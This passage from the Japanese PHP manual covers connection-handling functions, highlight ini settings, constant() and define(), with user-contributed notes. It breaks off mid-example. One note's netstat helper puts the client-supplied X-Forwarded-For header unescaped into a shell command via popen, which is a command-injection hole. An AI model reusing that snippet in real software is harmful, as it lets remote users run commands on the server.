名前 | デフォルト | 変更可能 | 変更履歴
ignore_user_abort | "0" | PHP_INI_ALL |
highlight.string | "#DD0000" | PHP_INI_ALL |
highlight.comment | "#FF8000" | PHP_INI_ALL |
highlight.keyword | "#007700" | PHP_INI_ALL |
highlight.bg | "#FFFFFF" | PHP_INI_ALL | PHP 5.4.0 で削除されました。
highlight.default | "#0000BB" | PHP_INI_ALL |
highlight.html | "#000000" | PHP_INI_ALL |
browscap | NULL | PHP_INI_SYSTEM |
PHP_INI_* モードの詳細および定義については どこで設定を行うのか を参照してください。

以下に設定ディレクティブに関する 簡単な説明を示します。

ignore_user_abort bool

デフォルトは false。true に変更すると、 クライアントが接続を破棄した後もスクリプトは終了しません。

ignore_user_abort() も参照ください。

highlight.bg string
highlight.comment string
highlight.default string
highlight.html string
highlight.keyword string
highlight.string string

構文ハイライト表示モードの色。 <font color="??????"> 形式のものは全て動作します。

browscap string

browser capabilities file (ブラウザ機能ファイル) の 名前 (例: browscap.ini) と場所。 get_browser() も参照ください。

User Contributed Notes

Eric 30-Jul-2020 02:45
*** Additions to the previous message ***

To change the style directly from a CSS file, it is recommended to only go through classes instead of hard-coding it.

<?php

    // Create an array with default php functions

    $functions = array("default", "html", "keyword", "string", "comment");

    // Replace color code (ex: #FF8000) with class name (ex:"highlight-comment")

    foreach ($functions as $value) {
        ini_set("highlight.$value", "highlight-$value;");
    }

    $content = highlight_file($filename, true);
    // or
    $content = highlight_string($string, true);

    // Convert style="color: highlight-function" into class="highlight-function" into $content
    // It allows you to modify only the default functions

    foreach ($functions as $value) {
        $content = preg_replace("/style=\"color: highlight-$value;\"/", "class=\"highlight-$value\"", $content);
    }

?>

And in the CSS file (for example) :

.highlight-html { color: #000000; }
.highlight-default { color: #0000bb; }
.highlight-keyword { color: #007700; font-weight: bold; }
.highlight-string { color: #dd0000; }
.highlight-comment { color: #ff8000; }
Eric 30-Jul-2020 12:51
To change the style directly from a CSS file, it is recommended to only go through classes instead of hard-coding it.

<?php

    $functions = array("default", "html", "keyword", "string", "comment");

    foreach ($functions as $value) {
        ini_set("highlight.$value", "highlight-$value;");
    }

?>

And in the CSS file (for example) :

.highlight-html { color: #000000; }
.highlight-default { color: #0000bb; }
.highlight-keyword { color: #007700; font-weight: bold; }
.highlight-string { color: #dd0000; }
.highlight-comment { color: #ff8000; }
Nico 31-Mar-2018 04:07
To pass more than one css rule, but also a class, an id, or any html attribute to highlighted element, we can escape a quote to close the inline styling:

    ini_set('highlight.string', '#F8F8F8 ; font-size:1.4em\" class=\'string\' ');


定義済み定数

以下の定数が定義されています。 この関数の拡張モジュールが PHP 組み込みでコンパイルされているか、 実行時に動的にロードされている場合のみ使用可能です。

CONNECTION_ABORTED (int)
CONNECTION_NORMAL (int)
CONNECTION_TIMEOUT (int)
__COMPILER_HALT_OFFSET__ (int)
PHP 5.1 で追加されました。

User Contributed Notes

There are no user contributed notes for this page.


その他の関数

目次

  • connection_aborted — クライアントとの接続が切断されているかどうかを調べる
  • connection_status — 接続ステータスのビットフィールドを返す
  • constant — 定数の値を返す
  • define — 名前を指定して定数を定義する
  • defined — 指定した名前の定数が存在するかどうかを調べる
  • die — exit と同等
  • eval — 文字列を PHP コードとして評価する
  • exit — メッセージを出力し、現在のスクリプトを終了する
  • get_browser — ユーザーのブラウザの機能を取得する
  • __halt_compiler — コンパイラの実行を中止する
  • highlight_file — ファイルの構文ハイライト表示
  • highlight_string — 文字列の構文ハイライト表示
  • hrtime — システムの高精度な時刻を取得する
  • ignore_user_abort — クライアントの接続が切断された際にスクリプトの実行を終了するかどうかを設定する
  • pack — データをバイナリ文字列にパックする
  • php_strip_whitespace — コメントと空白文字を取り除いたソースを返す
  • sapi_windows_cp_conv — 文字列のコードページを別のものに変換する
  • sapi_windows_cp_get — 現在のコードページを取得する
  • sapi_windows_cp_is_utf8 — コードページがUTF-8と互換性があるかを返す
  • sapi_windows_cp_set — 現在のプロセスのコードページを設定する
  • sapi_windows_generate_ctrl_event — CTRLイベント を別プロセスに送信する
  • sapi_windows_set_ctrl_handler — CTRLイベント のハンドラを設定したり削除したりする
  • sapi_windows_vt100_support — Windows コンソールの出力バッファに関連付けられたストリームのVT100サポート状況を取得/設定する
  • show_source — highlight_file のエイリアス
  • sleep — 実行を遅延させる
  • sys_getloadavg — システムの平均負荷を取得する
  • time_nanosleep — 秒およびナノ秒単位で実行を遅延する
  • time_sleep_until — 指定した時刻まで実行を遅延する
  • uniqid — 一意な ID を生成する
  • unpack — バイナリ文字列からデータを切り出す
  • usleep — マイクロ秒単位で実行を遅延する

User Contributed Notes

There are no user contributed notes for this page.


クライアントとの接続が切断されているかどうかを調べる

  • ≪ その他の関数
  • connection_status ≫
  • PHP Manual
  • その他の関数
  • クライアントとの接続が切断されているかどうかを調べる

connection_aborted

(PHP 4, PHP 5, PHP 7, PHP 8)

connection_aborted — クライアントとの接続が切断されているかどうかを調べる

説明

connection_aborted ( ) : int

クライアントとの接続が切断されているかどうかを調べます。

返り値

クライアントとの接続が切断されている場合に 1、それ以外の場合に 0 を返します。

参考

  • connection_status() - 接続ステータスのビットフィールドを返す
  • ignore_user_abort() - クライアントの接続が切断された際にスクリプトの実行を終了するかどうかを設定する
  • PHP における接続処理についての説明は 接続処理

User Contributed Notes

jamest344 at gmail dot com 11-Jan-2018 12:22
Declaration: I'm a novice.
The action on client connection loss which I wanted occurred upon browser or tab closure but not upon network link severance.  This was remedied by nobbling apache2's mod_deflate.  Other conf settings I changed may also be important (timeout?).  Thus at the bottom of my page.html I have:
<script>
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
}
};
xhttp.open("GET", "Caller.php", true);
xhttp.send();
</script>
Then in Caller.php I have:
<?php
ignore_user_abort(TRUE);
Header('Location: monitor.php');
?>
And in monitor.php:
<?php
ignore_user_abort(TRUE);
set_time_limit(0);
echo connection_status();
                                                while(1)
                                                {
                                                echo "something - anything - to go here - need a good few lines of it";
                                                ob_flush();
                                                flush();
                                                sleep(1);

if(connection_status()!=0)
                                                {
                                                break;
                                                }
                                                }

shell_exec("DESIRED ACTION HERE");
?>
sivann at gmail dot com 03-Apr-2016 08:06
I have failed to get accurate results from this even with echo, flush(), and other buffer manipulation trickery. The following function detects connection status from the OS netstat(1) in linux, even without echoing anything. You may need to alter the parsing for windows or older versions of netstat. It calls an external command so it consume some resources, use it with care e.g. you can call it every some seconds while waiting for long-poll requests. Not tested with ipv6.

//returns connection status (ESTABLISHED, TIME_WAIT, etc) or NOT_FOUND
function getConnectionStatus() {
            $remote_ip = $_SERVER['REMOTE_ADDR']?:($_SERVER['HTTP_X_FORWARDED_FOR']?:$_SERVER['HTTP_CLIENT_IP']);
            $remote_port=$_SERVER['REMOTE_PORT'];

            $cmd="netstat -tn | fgrep ' $remote_ip:$remote_port '";

            $pfp=popen($cmd,"r");
                        if(!$pfp) {
                                error_log ("getConnectionStatus: $cmd");
                        }

            $buf = fgets($pfp, 1024);
            pclose($pfp);

            $buf=preg_replace('!\s+!', ' ', $buf); //remove multiple spaces
            $buf=trim($buf);

            $buf_r=explode(" ",$buf);

            if (count($buf_r)) {
                    $state=$buf_r[count($buf_r)-1];
                    return trim($state);
            }

            return "NOTFOUND";
    }

//check for it:
if (getConnectionStatus() != "ESTABLISHED") { ...}
jeff1326 at hotmail dot com 27-Oct-2015 09:21
From ignore_user_abort function :

PHP will not detect that the user has aborted the connection until an attempt is made to send information to the client. Simply using an echo statement does not guarantee that information is sent, see flush().

This rule seems to apply here too.
nathanb at php dot net 21-Jan-2013 08:50
A trick to detecting if a connection is closed without having to send data that will otherwise corrupt the stream of data (like a binary file) you can use a combination of chunking the data on HTTP/1.1 by sending a "0" ("zero") as a leading chunk size without anything else.

*NOTE* it's important to note that it's not a good idea to check the stream more then once every few seconds. By doing this you are potentially increasing the data sent to the user with no gain to the user.

A good reason to do it this way is if you are generating a report that takes a long time to run and takes a lot of server resources. This would allow the server to detect if a user canceled the download and do any cleanup without corrupting the file file being download.

Here is an example:

<?php
ignore_user_abort(true);
header('Transfer-Encoding:chunked');
ob_flush();
flush();
$start = microtime(true);
$i = 0;
// Use this function to echo anything to the browser.
function vPrint($data){
    if(strlen($data))
        echo dechex(strlen($data)), "\r\n", $data, "\r\n";
    ob_flush();
    flush();
}
// You MUST execute this function after you are done streaming information to the browser.
function endPacket(){
    echo "0\r\n\r\n";
    ob_flush();
    flush();
}
do{
    echo "0";
    ob_flush();
    flush();
    if(connection_aborted()){
        // This happens when connection is closed
        file_put_contents('/tmp/test.tmp', sprintf("Conn Closed\nTime spent with connection open: %01.5f sec\nLoop itterations: %s\n\n", microtime(true) - $start, $i), FILE_APPEND);
        endPacket();
        exit;
    }
    usleep(50000);
    vPrint("I get echo'ed every itteration (every .5 second)<br />\n");
}while($i++ < 200);
endPacket();
?>
Luciano 18-Dec-2009 01:01
In order to detect a disconnection inside the script we need to flush the buffer (it is only when the the server tries to send the buffer content that it will see that the connection is broken).

Thus we need to use the ob_implicit_flush() function to flush automatically the buffer

This is an example of a disconnection detection :

<?php
  // enables the automatic flush
  ob_implicit_flush();

  function verifyCommunication() {
    $status = (connection_aborted()?"not ":"") ."sent";
    persistCommunication(new Communication($status));
  }

  // we will check the communication state when the script finished
  register_shutdown_function(verifyCommunication);
  echo "blabla";
  // this sleep is used to have time to break the connection on the client side
  sleep(10);
  echo"tata";
?>

I use such a process to cancel a request if the client didn't get the acknowledgement because he will redo his request...
rickyale at ig dot com dot br 13-Nov-2009 11:49
(connection_aborted not working)
I had this problem years ago, now the problem came back after upgrading php... i tried everything i found and in the end the function ob_end_flush();  on top of script as post in php bug track solved the problem. Im using windows 7 x64 / php 5.2.4 / apache 2.2.14 (win32)

try adding ob_end_flush(); on top of you script.
i read something about this but can't remember where, it was related to a bug or something.

hope this help.
phpcoder at cyberpimp dot techlab dot info 27-Jun-2007 11:50
Although the documentation indicates it returns an int, I found comparing the return value with numeric values does not seem to work.

Example (does not work):
<?php
if (connection_aborted()==1) {
fwrite($filehandle, 'aborted!');
}
?>

You're better off just assuming it returns boolean

Example (does work):
<?php
if (connection_aborted()) {
fwrite($filehandle, 'aborted!');
}
?>


接続ステータスのビットフィールドを返す

  • ≪ connection_aborted
  • constant ≫
  • PHP Manual
  • その他の関数
  • 接続ステータスのビットフィールドを返す

connection_status

(PHP 4, PHP 5, PHP 7, PHP 8)

connection_status — 接続ステータスのビットフィールドを返す

説明

connection_status ( ) : int

接続ステータスのビットフィールドを取得します。

返り値

接続ステータスのビットフィールドを返します。これを定数 CONNECTION_XXX と比較することで、接続の状態を判断できます。

参考

  • connection_aborted() - クライアントとの接続が切断されているかどうかを調べる
  • ignore_user_abort() - クライアントの接続が切断された際にスクリプトの実行を終了するかどうかを設定する
  • PHP における接続処理についての説明は 接続処理

User Contributed Notes

Anonymous 11-Dec-2019 06:07
As mentioned, this function returns a status bitfield to which there's a set of constants available. I don't know why those constants aren't actually listed. Although they're easy to guess, I think it's still worth listing them, it is documentation after all. This function has the ability to return integers 0 through 3 so there are 4 possible states.

The constants are as follows:

CONNECTION_NORMAL = 0
CONNECTION_ABORTED = 1
CONNECTION_TIMEOUT = 2

As a 4th state is possible and being a bitfield, this gives rise to CONNECTION_ABORTED|CONNECTION_TIMEOUT (or integer 3) can be used to check for aborted+timeout states.
jorge dot hebrard at gmail dot com 26-Jan-2009 04:01
You can always send chr(0) to check if browser is still alive, that will show no output in browser page (at least in Firefox).
Michael 20-Mar-2005 09:59
Yes it is true. I made some experiments with that functions 'connection_abortes()'. First a source made an error, which I see. They wrote: ignore_user_abort();

But that only gives you the status of the 'Abort-Setting'.
So I try (with little hope)
  'ignore_user_abort(true);'
And as I readout the setting it has changed it...

Next I see that the script runs after I disconnect with the site. But other experiments fail. I try some things and then it
was logical after an experiment: flush() is one of the necessary things. Without those output to the client the function
          'connection_aborted()' stays on 'false'
The Second is that you have to output something. Without that it also doesn't works.
So I now know that you have to echo something and then output the buffer. Only then 'the Script' (or the function)
'knows' that the client is disconnected.
toppi at kacke dot de 16-Jun-2004 09:06
Notice !

if you running a loop (while, foeach etc..)  you have to send something to the browser to check the status.

Example:

while(1){
    if (connection_status()!=0){
    die;
    }
}
doesnt work, if the user break/close the browser.

But a:

while(1){
    Echo "\n"; //<-- send this to the client
    if (connection_status()!=0){
    die;
    }
}
will work :)

i hope it will help some of you to safe some time :)

Toppi


定数の値を返す

  • ≪ connection_status
  • define ≫
  • PHP Manual
  • その他の関数
  • 定数の値を返す

constant

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

constant — 定数の値を返す

説明

constant ( string $name ) : mixed

name で指定した定数の値を返します。

constant() はある定数の値を取得する必要があるが、 その名前が不明な場合に有用です。これは、定数名が変数に保存されているか、 関数により返されるかの場合です。

この関数は クラス定数に対しても動作します。

パラメータ

name

定数名。

返り値

定数の値、あるいはその定数が定義されていない場合に null を返します。

エラー / 例外

定数が定義されていない場合は E_WARNING レベルのエラーが発生します。

例

例1 constant() の例

<?php

define("MAXSIZE", 100);

echo MAXSIZE;
echo constant("MAXSIZE"); // ひとつ前の行と同じことです

interface bar {
    const test = 'foobar!';
}

class foo {
    const test = 'foobar!';
}

$const = 'test';

var_dump(constant('bar::'. $const)); // string(7) "foobar!"
var_dump(constant('foo::'. $const)); // string(7) "foobar!"

?>

参考

  • define() - 名前を指定して定数を定義する
  • defined() - 指定した名前の定数が存在するかどうかを調べる
  • 定数の節

User Contributed Notes

nikolays93 at ya dot ru 26-Aug-2020 06:08
<?php

namespace Foo;

define(__NAMESPACE__ . '\Bar', 'its work'); // ..but IDE may make notice

echo Bar; // its work
Anonymous 14-Jun-2019 09:24
The use of constant() (or some other method) to ensure the your_constant was defined is particularly important when it is to be defined as either `true` or `false`.

For example, taken from this Stackoverflow Question
https://stackoverflow.com/questions/5427886/php-undefined-constant-testing/56604602#56604602)

 If `BOO` did NOT get defined as a constant, for some reason,

    <?php if(BOO) do_something(); ?>

would evaluate to `TRUE` and run anyway.  A rather unexpected result.

The reason is that PHP ASSUMES you "forgot" quotation marks around `BOO` when it did not see it in its list of defined constants.
So it evaluates: `if ('BOO')`...
Since every string, other than the empty string, is "truthy", the expression evaluates to `true` and the do_something() is run, unexpectedly.

If you instead use:
     <?php if (constant(BOO)) do_something() ?>

then if `BOO` has not been defined, `constant(BOO)` evaluates to `null`,
which is falsey, and `if (null)`... becomes `false`, so do_something() is skipped, as expected.

The PHP behavior regarding undefined constants is particularly glaring when having a particular constant defined is the exception, "falsey" is the default, and having a "truthy" value exposes a security issue. For example,
<?php if (IS_SPECIAL_CASE) show_php_info() ?> .

There are other ways around this PHP behavior, such as
<?php if (BOO === true) do_something(); ?>
or
<?php if (defined('BOO') && BOO) do_something() ?>.

Note that only the version using `defined()` works without also throwing a PHP Warning  "error message."

Here is a php repl.it demonstration:
https://repl.it/@sherylhohman/php-undefined-constants-beware-of-truthy-conversion?language=php_cli&folderId=

(disclosure: I also submitted an answer to the SO question linked to above)
ss 21-Sep-2017 07:11
ss

sssssss
ssssssssssssssssss
s
ssssssssssssss
ssssssssssssssssssssssss
ss
s
s
ssssssssssss
mohammad alzoqaily 21-Sep-2017 07:08
// 1)  you can store the name of constant in default variable
 //     and use it without identify it's name :)

        $str= "constName";

        define("constName","this is constant");

        echo constant($str);

       output:
             this is constant

// 2)  good for dynamic generating  constants

         function generateConst( $const ,  $value , $sensitivity=TRUE )
             {

                    define( "$const" , "$value ",$sensitivity);
              }

              $CONST="cost";
              $VALUE="100$";

             generateConst( $CONST , $VALUE);

             echo constant($const);

        output:
                100$
helvete at zhouba dot cz 03-Nov-2016 11:08
It is worth noting, that keyword 'self' can be used for constant retrieval from within the class it is defined

<?php
class Foo {
  const PARAM_BAR = 'baz';

  public function getConst($name) {
    return constant("self::{$name}");
  }
}

$foo = new Foo();
echo $foo->getConst('PARAM_BAR'); // prints 'baz'
?>
t dot kmieliauskas at gmail dot com 21-Apr-2015 02:02
If you are referencing class constant (either using namespaces or not, because one day you may want to start using them), you'll have the least headaches when doing it like this:

<?php
class Foo {
    const BAR = 42;
}
?>
<?php
namespace Baz;
use \Foo as F;

echo constant(F::class.'::BAR');
?>

since F::class will be dereferenced to whatever namespace shortcuts you are using (and those are way easier to refactor for IDE than just plain strings with hardcoded namespaces in string literals)
Richard J. Turner 31-Jan-2013 11:57
As of PHP 5.4.6 constant() pays no attention to any namespace aliases that might be defined in the file in which it's used. I.e. constant() always behaves as if it is called from the global namespace. This means that the following will not work:

<?php
class Foo {
    const BAR = 42;
}
?>

<?php
namespace Baz;

use \Foo as F;

echo constant('F::BAR');
?>

However, calling constant('Foo::BAR') will work as expected.
adam at adamhahn dot com 28-Sep-2011 12:59
This function is namespace sensitive when calling class constants.

Using:
<?php namespace sub;

class foo {
    const BAR = 'Hello World';
}

constant('foo::BAR'); // Error

constant('sub\foo::BAR'); // works

?>

This does not seem to affect constants defined with the 'define' function. Those all end up defined in the root namespace unless another namespace is implicitly defined in the string name of the constant.
bohwaz 05-Jul-2010 06:28
Return constants from an object. You can filter by regexp or match by value to find a constant name from the value.

Pretty useful sometimes.

<?php

function findConstantsFromObject($object, $filter = null, $find_value = null)
{
    $reflect = new ReflectionClass($object);
    $constants = $reflect->getConstants();

    foreach ($constants as $name => $value)
    {
        if (!is_null($filter) && !preg_match($filter, $name))
        {
            unset($constants[$name]);
            continue;
        }

        if (!is_null($find_value) && $value != $find_value)
        {
            unset($constants[$name]);
            continue;
        }
    }

    return $constants;
}

?>

Examples :

<?php

class Example
{
    const GENDER_UNKNOW = 0;
    const GENDER_FEMALE = 1;
    const GENDER_MALE = 2;

    const USER_OFFLINE = false;
    const USER_ONLINE = true;
}

$all = findConstantsFromObject('Example');

$genders = findConstantsFromObject('Example', '/^GENDER_/');

$my_gender = 1;
$gender_name = findConstantsFromObject('Example', '/^GENDER_/', $my_gender);

if (isset($gender_name[0]))
{
    $gender_name = str_replace('GENDER_', '', key($gender_name));
}
else
{
    $gender_name = 'WTF!';
}

?>
hellekin 25-May-2010 08:07
Checking if a constant is empty is bork...

You cannot

<?php
define('A', '');
define('B', 'B');

if (empty(B)) // syntax error
if (empty(constant('B'))) // fatal error

// so instead, thanks to LawnGnome on IRC, you can cast the constants to boolean (empty string is false)
if (((boolean) A) && ((boolean) B))
  // do stuff
?>
dachnik 09-Apr-2010 11:41
You can define values in your config file using the names of your defined constants, e.g.

in your php code:
define("MY_CONST",999);

in you config file:
my = MY_CONST

When reading the file do this:

$my = constant($value); // where $value is the string "MY_CONST"

now $my holds the value of 999
XC 19-Jan-2007 02:13
When you often write lines like

<?php

if(defined('FOO') && constant('FOO') === 'bar')
{
...
}

?>

to prevent errors, you can use the following function to get the value of a constant.

<?php

function getconst($const)
{
    return (defined($const)) ? constant($const) : null;
}

?>

Finally you can check the value with

<?php

if(getconst('FOO') === 'bar')
{
...
}

?>

It's simply shorter.
narada dot sage at googlemail dot com 13-Jul-2006 06:01
To access the value of a class constant use the following technique.

<?php

class a {
    const b = 'c';
}

echo constant('a::b');

// output: c

?>
service at dual-creators dot de 16-May-2006 10:00
It's easily to user constant() and define() to translate some words from your database-saves.

For example:
You have a table userprofil and one coloumn is "gender".
Gender can be male or female but you will display "maennlich" or "weiblich" (german words for it - whatever...)

First step: Fetch into $Gender

Second:
define("male", "maennlich");
define("female", "weiblich");

Third:
echo constant($Gender);

Now, the index of the variable $Gender will be handled like a constant!

(It works like "echo male;" for better understanding)

And a result of this, it displays maennlich btw. weiblich!

greetz
Trevor Blackbird > yurab.com 18-Apr-2006 02:58
Technically you can define constants with names that are not valid for variables:

<?php

// $3some is not a valid variable name
// This will not work
$3some = 'invalid';

// This works
define('3some', 'valid');
echo constant('3some');

?>

Of course this is not a good practice, but PHP has got you covered.
11-Oct-2005 07:20
In reply to VGR_experts_exchange at edainworks dot com

To check if a constant is boolean, use this instead:

<?php
if (TRACE === true)  {}
?>

Much quicker and cleaner than using defined() and constant() to check for a simple boolean.

IMO, using ($var === true) or ($var === false) instead of ($var) or (!$var) is the best way to check for booleans no matter what. Leaves no chance of ambiguity.
Joachim Kruyswijk 13-Nov-2004 09:12
The constant name can be an empty string.

Code:

define("", "foo");
echo constant("");

Output:

foo
Andre 27-Apr-2003 01:10
Maybe this is useful:

$file_ext is the file Extension of the image

<?php
if ( imagetypes() & @constant('IMG_' . strtoupper($file_ext)) )
{
    $file_ext = $file_ext == 'jpg' ? 'jpeg' : $file_ext;
    $create_func = 'ImageCreateFrom' . $file_ext;
}
?>


名前を指定して定数を定義する

  • ≪ constant
  • defined ≫
  • PHP Manual
  • その他の関数
  • 名前を指定して定数を定義する

define

(PHP 4, PHP 5, PHP 7, PHP 8)

define — 名前を指定して定数を定義する

説明

define ( string $name , mixed $value , bool $case_insensitive = false ) : bool

実行時に、名前を指定して定数を定義します。

パラメータ

name

定数の名前。

注意:

予約語や無効な名前を使っていても、定数を define() できてしまいます。これらの値はを取得するには、 constant() 関数を使うこと(だけ)しかできません。 しかしながら、こういったことをするのは推奨されません。

value

定数の値。PHP 5 では、value は スカラー値 (int、 float、string、bool あるいは null) でなければいけません。PHP 7 では配列を使うこともできます。

警告

リソース型の定数を定義することもできますが、 推奨できません。予期せぬ振る舞いをする可能性があります。

case_insensitive

true を指定すると、定数は大文字小文字を区別しないようになります。 デフォルトでは大文字小文字を区別します。つまり CONSTANT と Constant は別の値を表すわけです。

警告

大文字小文字を区別する定数を定義するのは、 PHP 7.3.0 以降では推奨されなくなりました。

注意:

大文字小文字を区別しないときは、定数は小文字で格納されます。

返り値

成功した場合に true を、失敗した場合に false を返します。

変更履歴

バージョン | 説明
7.3.0 | case_insensitive は非推奨になりました。 8.0.0 で削除される予定です。
7.0.0 | array が使えるようになりました。

例

例1 定数の定義

<?php
define("CONSTANT", "Hello world.");
echo CONSTANT; // "Hello world." を出力します
echo Constant; // "Constant" を出力し、警告が発生します

define("GREETING", "Hello you.", true);
echo GREETING; // "Hello you." を出力します
echo Greeting; // "Hello you." を出力します

// PHP 7 以降で動作します
define('ANIMALS', array(
    'dog',
    'cat',
    'bird'
));
echo ANIMALS[1]; // "cat" を出力します

?>

例2 予約された名前を定数にする

マジック定数 と同じ名前の定数を定義できる 可能性 を示します。 しかしながら、結果として起きる振る舞いは明らかに混乱を招くため、 こんなことを実際にすることは推奨されません。

<?php
var_dump(defined('__LINE__'));
var_dump(define('__LINE__', 'test'));
var_dump(constant('__LINE__'));
var_dump(__LINE__);
?>

上の例の出力は以下となります。

bool(false)
bool(true)
string(4) "test"
int(5)

参考

  • defined() - 指定した名前の定数が存在するかどうかを調べる
  • constant() - 定数の値を返す
  • 定数の節

User Contributed Notes

ohcc at 163 dot com 22-Mar-2020 12:34
A namespace constant can be defined using the define function, the constant defined this way is not global.

<?php
    namespace WuXiancheng;
    \define('China\Sichuan\Guangan\Yuechi\ZIP', 638300);
    echo ZIP; //Use of undefined constant ZIP
    echo \China\Sichuan\Guangan\Yuechi\ZIP; // 638300
?>
David Spector 19-Jul-2019 03:03
It may be worth stating that a define function must be executed before its global constant is referenced.

Example:

Abc();
define("TEST", 23);
function Abc()
    {
    echo TEST;
    } // Abc

This code fails with a Notice-level message. TEST is treated here as being the string "TEST".
me at mariusgerum dot de 18-Sep-2018 09:29
You can define constants with variable names (works also with constant values or variables or array values or class properties and so on - as long it's a valid constant name).

<?php

    # Define a constant and set a valid constant name as string value
    define("SOME_CONSTANT", "NEW_CONSTANT");

    # Define a second constant with dynamic name (the value from SOME_CONSTANT)
    define(SOME_CONSTANT, "Some value");

    # Output
    echo SOME_CONSTANT; // prints "NEW_CONSTANT"
    echo "<br>";
    echo NEW_CONSTANT; // prints "Some value"

    ?>

Needless to say that you'll lose your IDE support for refactoring and highlighting completely for such cases.
No clue why someone would / could actually use this but i thought it's worth mentioning.
@SimoEast on Twitter 08-Jun-2017 03:10
Not sure why the docs omit this, but when attempting to define() a constant that has already been defined, it will fail, trigger an E_NOTICE and the constant's value will remain as it was originally defined (with the new value ignored).

(Guess that's why they're called "constants".)
Dale Landry 16-Apr-2017 09:45
With php 7 you can now define arrays.

consider the following code:
<?php

define( "EXPLENATIVES", [1 => "Foo Bar", 2 => "Fehw Bahr", 3 => "Foo Bahr", 4 => "Fooh Bar", 5 => "Fooh Bhar", 6 => "Foo Barr", 7 => "Foogh Bar", 8 => "Fehw Barr", 9 => "Fu bar", 10 => "Foo Bahr", 11 => "Phoo Bar", 12 => "Foo Bawr", 13 => "Phooh Baughr", 14 => "Foogan Bargan", 15 => "Foo Bahre", 16 => "Fu Bahar", 17 => "Fugh Bar", 18 => "Phou Baughr"]);

//set up define methods using mixed values; both array and non-array values
define("NAVBTNS", [EXPLENATIVES, "Nouns", "Verbs", "Adjectives"]);

//function to create a dropdown menu using the EXPLENATIVES array $btn=EXPLENATIVES=assoc_array

function construct_navbar_buttons(){

    $btns = '<ul class="nav navbar-nav">';

    foreach(NAVBTNS as $button => $btn){
        if(is_array($btn)){
            $btns .= '<li class="dropdown">
                        <a class="dropdown-toggle" data-toggle="dropdown" href="?id='.$btn.'">
                            <i class="glyphicon glyphicon-user"></i> You Dare Say? <i class="glyphicon glyphicon-collapse-down"></i>
                        </a>
                        <ul class="dropdown-menu dropdown-user">';
            foreach(EXPLENATIVES as $key => $button){
                $btns .= '<li><a href="#">'.$button.'</a></li>';
            }
            $btns .= '</ul>';
        }else{
            $btns .= '<li><a href="#">'.$btn.'</a></li>';
        }
    }

    $btns .= '</ul>';
    return $btns;
}

Love this new implementation!

?>
Anonymous 15-Apr-2017 08:33
There's an undocumented side-effect of setting the third parameter to true (case-insensitive constants): these constants can actually be "redefined" as case-sensitive, unless it's all lowercase (which you shouldn't define anyway).

The fact is that case-sensitive constants are stored as is, while case-insensitive constants are stored in lowercase, internally. You're still allowed to define other constants with the same name but capitalized differently (except for all lowercase).

<?php
  // "echo CONST" prints 1, same as "echo const", "echo CoNst", etc.
  define('CONST', 1, true);
  echo CONST; // Prints 1

  define('CONST', 2);
  echo CONST; // Prints 2
  echo CoNsT; // Prints 1
  echo const; // Prints 1

  // ** PHP NOTICE: Constant const already defined **
  define('const', 3);
  echo const; // Prints 1
  echo CONST; // Prints 2
?>

Why would you use this?

A third party plugin might attempt to define a constant for which you already set a value. If it's fine for them to set the new value, assuming you cannot edit the plugin, you could define your constant case-insensitive. You can still access the original value, if needed, by using any capitalization other than the one the plugin uses. As a matter of fact, I can't think of another case where you would want a case-insensitive constant...
axew3 at axew3 dot com 05-Sep-2016 08:46
Php 7 - Define: "Defines a named constant at runtime. In PHP 7, array values are also accepted."

But prior PHP 7, you can maybe do this, to pass an array elsewhere using define:

$to_define_array = serialize($array);
define( "DEFINEANARRAY", $to_define_array );

... and so ...

$serialized = DEFINEANARRAY; // passing directly the defined will not work
      $our_array = unserialize($serialized);

print_r($our_array);
swisschocolate at cmail dot nu 13-Feb-2016 11:35
I think worth mentioning is that define() appears to ignore invalid constant names.
One immediate implication of this seem to be that if you use an invalid constant name you have to use constant() to access it and obviously that you can't use the return value from define() to tell you whether the constant name used is invalid or not.

For example:
$name = '7(/!§%';
var_dump(define($name, "hello")); // outputs bool(true)
var_dump(constant($name)); // outputs string(5) "hello"
ravenswd at gmail dot com 22-Feb-2015 03:11
Be aware that if "Notice"-level error reporting is turned off, then trying to use a constant as a variable will result in it being interpreted as a string, if it has not been defined.

I was working on a program which included a config file which contained:

<?php
define('ENABLE_UPLOADS', true);
?>

Since I wanted to remove the ability for uploads, I changed the file to read:

<?php
//define('ENABLE_UPLOADS', true);
?>

However, to my surprise, the program was still allowing uploads. Digging deeper into the code, I discovered this:

<?php
if ( ENABLE_UPLOADS ):
?>

Since 'ENABLE_UPLOADS' was not defined as a constant, PHP was interpreting its use as a string constant, which of course evaluates as True.
phen at adnerdum dot org 06-Jul-2011 01:32
To clear up a few thing:
Integers with 0 in front work. But since PHP (and many other languages) handle them as octal values, they're only allowed a range of 0-7:

<?php
 define('GOOD_OCTAL', 0700);
 define('BAD_OCTAL', 0800);

 print GOOD_OCTAL;
 print '<br>';
 print BAD_OCTAL;
?>

Result:
448
0

---------------------------------------

Furthermore,

writing the constant name without the quotation-marks (as mentioned in the notes) throws an E_NOTICE and should be avoided!

<?php
 define(TEST, 'Throws an E_NOTICE');
?>

Result:
Notice: Use of undefined constant TEST - assumed 'TEST'
Jamie 01-Mar-2011 01:24
This is obvious, but easy to forget: if you include a file, the include file can only make use of constants already defined. For example:

<?php
define("VEG","cabbage");
require("another file");
define("FRUIT","apple");

// "another file":
echo VEG; // cabbage
echo FRUIT; // FRUIT
?>
chris at peeto dot net 25-Mar-2010 07:15
The value of a constant can be the value of another constant.

<?php

define("NEW_GOOD_NAME_CONSTANT", "I have a value");
define("OLD_BAD_NAME_CONSTANT", NEW_GOOD_NAME_CONSTANT);

echo NEW_GOOD_NAME_CONSTANT; // current
echo OLD_BAD_NAME_CONSTANT; // legacy

?>
danbettles at yahoo dot co dot uk 14-Apr-2009 11:56
define() will define constants exactly as specified.  So, if you want to define a constant in a namespace, you will need to specify the namespace in your call to define(), even if you're calling define() from within a namespace.  The following examples will make it clear.

The following code will define the constant "MESSAGE" in the global namespace (i.e. "\MESSAGE").

<?php
namespace test;
define('MESSAGE', 'Hello world!');
?>

The following code will define two constants in the "test" namespace.

<?php
namespace test;
define('test\HELLO', 'Hello world!');
define(__NAMESPACE__ . '\GOODBYE', 'Goodbye cruel world!');
?>
eparkerii at carolina dot rr dot com 22-Oct-2008 12:01
Found something interesting.  The following define:

<?php
define("THIS-IS-A-TEST","This is a test");
echo THIS-IS-A-TEST;
?>

Will return a '0'.

Whereas this:

<?php
define("THIS_IS_A_TEST","This is a test");
